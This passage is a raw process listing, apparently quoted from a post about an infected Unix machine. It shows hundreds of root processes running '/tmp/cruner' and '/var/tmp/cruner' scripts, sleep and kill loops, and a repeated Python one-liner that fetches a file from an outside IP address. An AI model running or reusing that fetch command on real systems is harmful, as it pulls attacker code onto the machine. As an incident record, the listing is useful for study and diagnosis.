0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6276 16189 0 15:45:28 ? 0:00 bash -sh > root 2601 7256 0 15:45:58 ? 0:00 sleep 60 > root 8607 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 18559 22811 0 - ? 0:00 <defunct> > root 24409 23527 0 15:44:58 ? 0:00 bash -sh > root 19746 1690 0 15:45:16 ? 0:00 bash -sh > root 3764 13405 0 15:45:44 ? 0:00 sleep 60 > root 27526 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24821 20756 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2683 24575 0 - ? 0:00 <defunct> > root 17041 602 0 - ? 0:00 <defunct> > root 23489 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 85 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25344 26987 0 15:45:47 ? 0:00 sleep 60 > root 14412 27321 0 15:46:04 ? 0:00 bash -sh > root 28171 7105 0 15:45:39 ? 0:00 xargs kill -9 > root 20379 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23837 28170 0 15:45:13 ? 0:00 sleep 60 > root 18324 13447 0 15:45:29 ? 0:00 bash -sh > root 25475 17374 0 - ? 0:00 <defunct> > root 21618 1613 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 25736 15264 0 - ? 0:00 <defunct> > root 16641 23541 0 - ? 0:00 <defunct> > root 21788 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10823 11217 0 15:45:25 ? 0:00 sleep 60 > root 19835 27366 0 15:46:09 ? 0:00 xargs kill -9 > root 18152 28468 0 15:46:00 ? 0:00 bash -sh > root 15659 15631 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 10908 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12627 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27288 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25663 29930 0 15:46:10 ? 0:00 xargs kill -9 > root 2235 5370 0 15:46:02 ? 0:00 sleep 60 > root 27493 19025 0 15:45:18 ? 0:00 sleep 60 > root 11692 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 3627 22691 0 15:45:48 ? 0:00 sh /tmp/cruner > root 3652 17273 0 - ? 0:00 <defunct> > root 28595 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25894 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 23534 28902 0 - ? 0:00 <defunct> > root 11606 26269 0 15:42:47 ? 0:00 bash -sh > root 9226 10096 0 15:45:36 ? 0:00 xargs kill -9 > root 19001 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8553 15171 0 15:45:28 ? 0:00 sleep 60 > root 27141 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12004 7756 0 15:45:11 ? 0:00 bash -sh > root 5389 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 7778 20407 0 15:45:04 ? 0:00 bash -sh > root 12391 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7243 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 22841 10768 0 15:44:19 ? 0:00 bash -sh > root 9095 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6490 3779 0 15:43:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3244 11960 0 - ? 0:00 <defunct> > root 8019 17460 0 15:45:09 ? 0:00 bash -sh > root 12997 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8782 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 21164 10447 0 - ? 0:00 <defunct> > root 12292 16133 0 15:45:25 ? 0:00 bash -sh > root 7768 14598 0 15:45:20 ? 0:00 sleep 60 > root 9998 9957 0 15:44:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 24700 12166 0 15:44:54 ? 0:00 bash -sh > root 10355 27120 0 15:45:28 ? 0:00 sleep 60 > root 28958 7331 0 15:45:18 ? 0:00 sleep 60 > root 22163 4620 0 15:45:30 ? 0:00 bash -sh > root 13733 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20509 16261 0 15:44:07 ? 0:00 bash -sh > root 19482 21639 0 15:45:56 ? 0:00 xargs kill -9 > root 1036 5879 0 15:45:48 ? 0:00 sleep 60 > root 14777 2627 0 15:45:41 ? 0:00 sleep 60 > root 9135 26874 0 15:45:36 ? 0:00 sleep 60 > root 26039 17493 0 15:45:43 ? 0:00 sleep 60 > root 21440 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23365 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9548 9546 0 15:45:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4116 10230 0 - ? 0:00 <defunct> > root 28103 13357 0 15:45:34 ? 0:00 sleep 60 > root 1508 28265 0 15:46:06 ? 0:00 bash -sh > root 23126 1893 0 15:45:43 ? 0:00 sleep 60 > root 10826 10139 0 15:45:41 ? 0:00 sleep 60 > root 13134 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 25028 1761 0 - ? 0:00 <defunct> > root 12427 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25992 23475 0 15:44:54 ? 0:00 bash -sh > root 25116 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9151 11223 0 15:45:15 ? 0:00 bash -sh > root 5693 28922 0 15:45:28 ? 0:00 sleep 60 > root 16951 11660 0 15:44:52 ? 0:00 bash -sh > root 23372 18976 0 15:45:33 ? 0:00 sleep 60 > root 16849 11386 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 1331 6047 0 15:45:53 ? 0:00 sleep 60 > root 22619 20071 0 - ? 0:00 <defunct> > root 2567 15582 0 15:44:12 ? 0:00 bash -sh > root 18323 6922 0 15:43:12 ? 0:00 bash -sh > root 19999 25134 0 - ? 0:00 <defunct> > root 17647 1 0 20:06:51 ? 0:00 sh /var/tmp/cruner > root 22164 18203 0 15:46:09 ? 0:00 /bin/ksh -p /bin/kill -9 > root 28290 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2924 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18972 28370 0 15:43:13 ? 0:00 bash -sh > root 8935 18366 0 15:45:45 ? 0:00 sleep 60 > root 6717 11401 0 15:45:04 ? 0:00 bash -sh > root 12992 14590 0 15:46:04 ? 0:00 sleep 60 > root 897 9237 0 15:45:48 ? 0:00 sleep 60 > root 14716 14710 0 15:43:44 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26764 21414 0 - ? 0:00 <defunct> > root 13697 27750 0 15:45:29 ? 0:00 bash -sh > root 10846 27874 0 - ? 0:00 <defunct> > root 3821 24748 0 15:45:28 ? 0:00 bash -sh > root 28033 842 0 - ? 0:00 <defunct> > root 15853 29112 0 15:45:26 ? 0:00 sleep 60 > root 20383 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17903 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25910 5804 0 15:45:53 ? 0:00 bash -sh > root 21993 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12592 10990 0 15:46:08 ? 0:00 sed -e s/\/.*//g > root 15126 13881 0 15:46:04 ? 0:00 sleep 60 > root 25571 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10468 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17251 4028 0 - ? 0:00 <defunct> > root 9993 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21855 13637 0 15:43:22 ? 0:00 bash -sh > root 6908 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18549 14131 0 15:46:00 ? 0:00 sleep 60 > root 22278 20780 0 - ? 0:00 <defunct> > root 6360 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16655 1 0 19:26:23 ? 0:00 sh /var/tmp/cruner > root 3906 1994 0 15:45:48 ? 0:00 sleep 60 > root 6154 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20320 14837 0 - ? 0:00 <defunct> > root 11415 16268 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 22900 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 548 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3143 13720 0 15:46:06 ? 0:00 sleep 60 > root 9398 12336 0 15:45:25 ? 0:00 sleep 60 > root 28373 16370 0 15:44:21 ? 0:00 bash -sh > root 9251 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24461 21338 0 - ? 0:00 <defunct> > root 20858 968 0 - ? 0:00 <defunct> > root 16377 608 0 15:45:51 ? 0:00 bash -sh > root 16130 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 29010 21804 0 15:44:59 ? 0:00 bash -sh > root 6373 21007 0 15:45:44 ? 0:00 bash -sh > root 21177 7527 0 15:45:56 ? 0:00 /bin/ksh -p /bin/kill -9 > root 17072 17459 0 - ? 0:00 <defunct> > root 673 17112 0 - ? 0:00 <defunct> > root 21356 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18711 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9762 27476 0 15:45:41 ? 0:00 bash -sh > root 18771 26685 0 15:45:26 ? 0:00 sleep 60 > root 23676 17851 0 15:45:57 ? 0:00 xargs kill -9 > root 24421 11777 0 - ? 0:00 <defunct> > root 5974 19346 0 - ? 0:00 <defunct> > root 20625 1 0 15:20:49 ? 0:00 sh /tmp/cruner > root 6941 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26217 26289 0 - ? 0:00 <defunct> > root 13436 12912 0 15:45:21 ? 0:00 sleep 60 > root 21138 14261 0 - ? 0:00 <defunct> > root 23364 9050 0 - ? 0:00 <defunct> > root 8961 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 14435 5002 0 - ? 0:00 <defunct> > root 27746 24696 0 15:46:10 ? 0:00 bash -sh > root 26669 26554 0 - ? 0:00 <defunct> > root 19318 14255 0 - ? 0:00 <defunct> > root 28324 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29146 29351 0 15:45:47 ? 0:00 sleep 60 > root 22507 1 0 03:15:42 ? 0:00 sh /var/tmp/cruner > root 21133 13646 0 15:44:36 ? 0:00 bash -sh > root 1166 8080 0 - ? 0:00 <defunct> > root 357 27667 0 15:45:34 ? 0:00 sleep 60 > root 5726 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1250 21207 0 15:45:58 ? 0:00 sleep 60 > root 26478 17962 0 15:45:43 ? 0:00 sleep 60 > root 7830 21317 0 15:45:25 ? 0:00 sleep 60 > root 4977 6640 0 15:45:31 ? 0:00 sleep 60 > root 8765 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 5236 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26068 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 28425 398 0 15:45:18 ? 0:00 sleep 60 > root 4411 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14603 5606 0 - ? 0:00 <defunct> > root 24534 23063 0 - ? 0:00 <defunct> > root 12078 27759 0 15:42:47 ? 0:00 bash -sh > root 895 19751 0 - ? 0:00 <defunct> > root 15999 12582 0 15:46:08 ? 0:00 sleep 60 > root 18863 18839 0 - ? 0:00 <defunct> > root 25806 1 0 02:30:34 ? 0:00 sh /var/tmp/cruner > root 10698 15378 0 15:45:21 ? 0:00 bash -sh > root 26681 17616 0 - ? 0:00 <defunct> > root 7124 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 23428 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17980 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16270 9590 0 - ? 0:00 <defunct> > root 17178 25916 0 15:46:08 ? 0:00 sleep 60 > root 16816 6986 0 - ? 0:00 <defunct> > root 16123 26073 0 15:45:46 ? 0:00 bash -sh > root 9502 29564 0 15:45:15 ? 0:00 bash -sh > root 12491 27753 0 15:44:43 ? 0:00 bash -sh > root 29755 18123 0 15:46:05 ? 0:00 sleep 60 > root 29168 16105 0 15:45:27 ? 0:00 bash -sh > root 9945 9831 0 15:44:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 15136 15110 0 15:45:46 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28001 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20983 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 75 16514 0 - ? 0:00 <defunct> > root 18747 10695 0 15:45:12 ? 0:00 bash -sh > root 23456 10142 0 - ? 0:00 <defunct> > root 10742 22460 0 15:46:07 ? 0:00 sleep 60 > root 24408 23164 0 15:46:10 ? 0:00 bash -sh > root 17106 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 19352 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6318 23543 0 15:45:58 ? 0:00 sleep 60 > root 3342 26059 0 15:45:54 ? 0:00 sleep 60 > root 12677 20790 0 - ? 0:00 <defunct> > root 27882 20386 0 15:45:47 ? 0:00 xargs kill -9 > root 2161 12065 0 15:46:02 ? 0:00 sleep 60 > root 26190 5061 0 15:45:47 ? 0:00 sleep 60 > root 1624 25970 0 15:44:46 ? 0:00 bash -sh > root 16446 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 472 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2929 8936 0 15:45:48 ? 0:00 sleep 60 > root 6425 2693 0 15:45:44 ? 0:00 bash -sh > root 14817 29315 0 15:43:20 ? 0:00 bash -sh > root 29778 26712 0 15:44:10 ? 0:00 bash -sh > root 17976 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11291 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6634 14867 0 15:45:58 ? 0:00 sleep 60 > root 24111 20260 0 15:44:20 ? 0:00 bash -sh > root 27014 6351 0 15:45:18 ? 0:00 sleep 60 > root 29334 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9740 13534 0 15:45:59 ? 0:00 bash -sh > root 4255 424 0 15:45:31 ? 0:00 sleep 60 > root 14144 14596 0 15:45:25 ? 0:00 bash -sh > root 26891 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22589 10268 0 15:44:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9312 21873 0 15:44:38 ? 0:00 bash -sh > root 18467 3197 0 - ? 0:00 <defunct> > root 24309 16481 0 15:46:10 ? 0:00 xargs kill -9 > root 17420 16304 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 4135 20342 0 - ? 0:00 <defunct> > root 2561 7427 0 15:45:08 ? 0:00 bash -sh > root 19120 23450 0 15:45:42 ? 0:00 sleep 60 > root 7931 17291 0 15:46:03 ? 0:00 sleep 60 > root 28962 20514 0 15:45:34 ? 0:00 sleep 60 > root 28799 7956 0 - ? 0:00 <defunct> > root 3220 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 15933 13445 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 28696 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 28126 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23686 22717 0 - ? 0:00 <defunct> > root 28090 28992 0 15:45:18 ? 0:00 sleep 60 > root 6390 5153 0 15:44:23 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14250 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3962 1601 0 15:44:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 25838 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 6737 27877 0 15:45:35 ? 0:00 bash -sh > root 26721 9107 0 15:43:58 ? 0:00 bash -sh > root 5368 11884 0 - ? 0:00 <defunct> > root 3877 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18489 21452 0 15:45:33 ? 0:00 bash -sh > root 10167 1 0 23:03:33 ? 0:00 sh /tmp/cruner > root 25468 23484 0 - ? 0:00 <defunct> > root 4960 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3548 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 16035 16593 0 15:45:22 ? 0:00 bash -sh > root 20950 1942 0 - ? 0:00 <defunct> > root 3932 16119 0 15:45:54 ? 0:00 bash -sh > root 16052 26171 0 15:46:00 ? 0:00 bash -sh > root 19361 11486 0 15:45:26 ? 0:00 sleep 60 > root 4106 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 22936 18042 0 - ? 0:00 <defunct> > root 26609 19736 0 15:45:18 ? 0:00 sleep 60 > root 10222 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17878 26513 0 - ? 0:00 <defunct> > root 21010 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18126 13332 0 15:46:00 ? 0:00 bash -sh > root 4361 21472 0 - ? 0:00 <defunct> > root 25713 26577 0 15:45:17 ? 0:00 sleep 60 > root 23032 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18699 16052 0 - ? 0:00 <defunct> > root 13853 13367 0 15:44:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14429 14425 0 - ? 0:00 <defunct> > root 8055 22882 0 15:45:20 ? 0:00 sleep 60 > root 15761 25042 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 19201 11697 0 15:45:12 ? 0:00 sh /tmp/cruner > root 11077 12603 0 15:46:07 ? 0:00 sleep 60 > root 15500 8153 0 15:45:46 ? 0:00 bash -sh > root 22423 25883 0 15:43:22 ? 0:00 bash -sh > root 439 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19637 19039 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4223 20030 0 15:45:28 ? 0:00 sleep 60 > root 15433 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20404 261 0 15:43:03 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9701 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 14975 14961 0 15:46:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29136 28873 0 15:44:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 925 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 19050 18504 0 - ? 0:00 <defunct> > root 11688 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 29024 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 222 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2164 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23904 9870 0 - ? 0:00 <defunct> > root 29831 9244 0 15:44:11 ? 0:00 bash -sh > root 1131 21792 0 15:43:41 ? 0:00 bash -sh > root 7606 7571 0 15:44:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 20150 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29322 17288 0 15:45:47 ? 0:00 bash -sh > root 2732 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10077 23913 0 15:43:26 ? 0:00 bash -sh > root 1981 978 0 15:44:37 ? 0:00 bash -sh > root 24763 25819 0 - ? 0:00 <defunct> > root 2830 304 0 - ? 0:00 <defunct> > root 5710 880 0 15:45:35 ? 0:00 bash -sh > root 8828 23626 0 15:45:28 ? 0:00 sleep 60 > root 7725 10045 0 15:45:20 ? 0:00 sleep 60 > root 19771 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16153 17143 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 21128 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16081 6975 0 15:46:08 ? 0:00 sh /var/tmp/cruner > root 20292 6734 0 15:46:09 ? 0:00 bash -sh > root 22041 28367 0 15:45:42 ? 0:00 bash -sh > root 22188 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 592 2114 0 15:44:11 ? 0:00 bash -sh > root 13744 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16852 15785 0 15:46:08 ? 0:00 sleep 60 > root 27717 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11705 11696 0 15:44:15 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3504 18312 0 15:43:17 ? 0:00 bash -sh > root 17703 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2864 23032 0 15:45:19 ? 0:00 sleep 60 > root 17213 15640 0 15:43:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 26765 28544 0 15:45:18 ? 0:00 sleep 60 > root 24279 5849 0 15:46:10 ? 0:00 xargs kill -9 > root 10982 24259 0 15:45:25 ? 0:00 sleep 60 > root 11326 24346 0 15:45:59 ? 0:00 bash -sh > root 22731 6760 0 15:46:09 ? 0:00 xargs kill -9 > root 8983 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29239 21222 0 15:45:34 ? 0:00 sleep 60 > root 16072 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2047 20029 0 15:45:08 ? 0:00 bash -sh > root 5980 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3792 1805 0 15:45:54 ? 0:00 bash -sh > root 15166 11393 0 15:45:51 ? 0:00 bash -sh > root 7926 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9977 7538 0 15:45:59 ? 0:00 sleep 60 > root 2442 2432 0 - ? 0:00 <defunct> > root 12154 15552 0 15:46:08 ? 0:00 bash -sh > root 16729 17806 0 - ? 0:00 <defunct> > root 15936 18898 0 15:44:05 ? 0:00 bash -sh > root 5841 26680 0 15:45:28 ? 0:00 sleep 60 > root 21803 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5835 24207 0 15:46:06 ? 0:00 sleep 60 > root 18266 17066 0 15:45:37 ? 0:00 bash -sh > root 1871 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21772 8482 0 - ? 0:00 <defunct> > root 19334 2724 0 - ? 0:00 <defunct> > root 2149 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 17411 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4286 25943 0 - ? 0:00 <defunct> > root 20038 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 22072 15027 0 15:46:09 ? 0:00 xargs kill -9 > root 8426 20842 0 15:45:40 ? 0:00 bash -sh > root 12620 4043 0 15:44:39 ? 0:00 bash -sh > root 25845 13439 0 15:45:07 ? 0:00 bash -sh > root 550 14406 0 15:45:08 ? 0:00 bash -sh > root 17570 23541 0 15:46:08 ? 0:00 bash -sh > root 8722 1 0 19:23:09 ? 0:00 sh /var/tmp/cruner > root 24315 9294 0 15:45:38 ? 0:00 bash -sh > root 29500 23064 0 15:45:48 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29984 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12304 17341 0 - ? 0:00 <defunct> > root 3872 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 6713 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 3861 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4112 17795 0 15:46:06 ? 0:00 sleep 60 > root 2970 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 972 920 0 15:43:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9605 5606 0 - ? 0:00 <defunct> > root 24372 20692 0 15:45:02 ? 0:00 bash -sh > root 15164 4992 0 15:46:08 ? 0:00 bash -sh > root 1673 22730 0 15:45:19 ? 0:00 sleep 60 > root 1919 17871 0 15:46:02 ? 0:00 sleep 60 > root 3648 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13633 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 26690 13446 0 15:46:10 ? 0:00 bash -sh > root 3809 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15339 17231 0 15:45:55 ? 0:00 bash -sh > root 13904 24292 0 15:46:08 ? 0:00 sleep 60 > root 25961 5431 0 15:46:10 ? 0:00 xargs kill -9 > root 14372 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 23056 20206 0 - ? 0:00 <defunct> > root 12803 5706 0 - ? 0:00 <defunct> > root 10382 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 24344 24282 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17024 5849 0 - ? 0:00 <defunct> > root 12858 3893 0 15:45:50 ? 0:00 bash -sh > root 17522 14769 0 - ? 0:00 <defunct> > root 22741 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 25895 8221 0 15:45:13 ? 0:00 bash -sh > root 15702 9603 0 15:45:25 ? 0:00 bash -sh > root 26136 9381 0 15:42:50 ? 0:00 bash -sh > root 28589 8437 0 15:45:47 ? 0:00 bash -sh > root 9933 8739 0 15:44:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 8632 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 861 20770 0 15:45:48 ? 0:00 sleep 60 > root 392 12246 0 15:43:50 ? 0:00 bash -sh > root 13091 20892 0 15:45:21 ? 0:00 sleep 60 > root 17515 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4064 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 12316 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 15932 15232 0 - ? 0:00 <defunct> > root 12585 26534 0 15:45:16 ? 0:00 sleep 60 > root 5099 10702 0 15:45:40 ? 0:00 sleep 60 > root 17816 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 4253 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19675 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24209 3269 0 15:45:57 ? 0:00 sleep 60 > root 16629 29903 0 15:45:29 ? 0:00 sleep 60 > root 12527 9030 0 15:45:32 ? 0:00 sleep 60 > root 20759 20568 0 - ? 0:00 <defunct> > root 28464 4695 0 15:42:51 ? 0:00 bash -sh > root 22287 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5764 6285 0 15:45:44 ? 0:00 bash -sh > root 16936 4087 0 - ? 0:00 <defunct> > root 4414 29723 0 - ? 0:00 <defunct> > root 5711 990 0 15:45:54 ? 0:00 bash -sh > root 11695 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26265 25281 0 15:45:34 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2573 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 2859 26819 0 15:45:19 ? 0:00 sleep 60 > root 13546 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29891 19592 0 15:45:27 ? 0:00 bash -sh > root 4845 11056 0 - ? 0:00 <defunct> > root 787 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27324 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 20834 513 0 15:45:56 ? 0:00 xargs kill -9 > root 22089 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 27532 9096 0 15:45:47 ? 0:00 xargs kill -9 > root 27601 11272 0 - ? 0:00 <defunct> > root 16618 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24823 29969 0 15:45:17 ? 0:00 sleep 60 > root 20179 17518 0 15:46:09 ? 0:00 sleep 60 > root 16462 1472 0 15:45:42 ? 0:00 sh /var/tmp/cruner > root 10833 14725 0 15:44:04 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18132 7466 0 - ? 0:00 <defunct> > root 23789 22533 0 15:44:08 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19522 15843 0 15:46:09 ? 0:00 sleep 60 > root 3579 221 0 15:43:08 ? 0:00 bash -sh > root 20321 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26771 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2358 435 0 15:45:35 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 2231 21474 0 15:45:53 ? 0:00 sleep 60 > root 26960 2396 0 15:45:30 ? 0:00 bash -sh > root 5646 19443 0 - ? 0:00 <defunct> > root 9509 6597 0 15:45:10 ? 0:00 sh /tmp/cruner > root 14201 13633 0 15:45:21 ? 0:00 sleep 60 > root 28333 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4349 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2951 22281 0 15:45:19 ? 0:00 sleep 60 > root 8871 3302 0 - ? 0:00 <defunct> > root 15189 8393 0 15:45:46 ? 0:00 xargs kill -9 > root 2034 3679 0 15:45:24 ? 0:00 sleep 60 > root 27391 11057 0 - ? 0:00 <defunct> > root 27245 27225 0 15:46:02 ? 0:00 /bin/ksh -p /bin/kill -9 > root 21074 1 0 Oct 05 ? 